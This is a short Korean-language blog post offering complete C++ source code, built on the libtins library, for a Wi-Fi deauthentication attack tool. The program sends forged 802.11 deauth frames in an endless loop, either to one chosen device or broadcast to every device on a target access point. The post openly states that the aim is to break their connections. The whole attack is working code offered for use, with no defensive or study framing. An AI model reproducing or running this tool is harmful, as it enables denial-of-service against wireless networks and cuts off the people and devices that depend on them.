[libtins] Deauth packet sender

Deauth Packet Sender

WiFi 연결을 끊는 Deauth Packet을 날려 해당 와이파이에 연결된 모든 디바이스 혹은 하나의 디바이스를 선택하여 연결을 방해 할 수 있는 프로그램 입니다.

libtins라이블러리가 필요하며 자세한 내용은 해당 github을  참고 하여 주십시요.

DEAUTH

Source Code


#include <tins/tins.h>
#include <cassert>
#include <iostream>
#include <string>
#include <unistd.h>

using namespace Tins;
using namespace std;
enum{CMD, INTERFACE, AP_MAC, DEST_MAC};

int main(int argc, char * argv[] ) {
	if(argc != 3 && argc != 4){
		cout<<"using <inter face> <ap_mac> [<dest_mac>]"<<endl;
		return -1;
	}
	
	string Inf = argv[INTERFACE];	// network interface name

	if(argc == 4){		
		Dot11Deauthentication deauth;
		
		string dst_mac = argv[DEST_MAC];	// station device mac address
		string ap_mac = argv[AP_MAC];	// ap mac address

		deauth.addr1(dst_mac);	// set device mac address
		deauth.addr2(ap_mac);	// set ap mac address
		deauth.addr3(deauth.addr2());	// set bssid (option)

		RadioTap radio = RadioTap() / deauth;	// make 802.11 packet
		
		//PacketWriter writer("/tmp/output.pcap", PacketWriter::DOT11);
		//writer.write(deauth);
		//TESTing code

		while(1){	
			PacketSender sender(Inf);	// set packet sender & device
			sender.send(radio);		// send packet
			usleep(100000);	// delay
		}
	} else if(argc == 3){
		Dot11Deauthentication deauth;
		
		string dst_mac = "ff:ff:ff:ff:ff:ff";	// broadcast
		string ap_mac = argv[AP_MAC];	// ap mac address

		deauth.addr1(dst_mac);	// set device mac address
		deauth.addr2(ap_mac);	// set ap mac address
		deauth.addr3(deauth.addr2());	// set bssid (necessarily) 
		
		RadioTap radio = RadioTap() / deauth;	// make 802.11 packet
		while(1){	
			PacketSender sender(Inf);	// set packet sender & device
			sender.send(radio);		// send packet 
			usleep(100000);	// delay
		}
	}
}	

 

글의 문제가 있다면 댓글을 달아 주세요.

This site uses Akismet to reduce spam. Learn how your comment data is processed.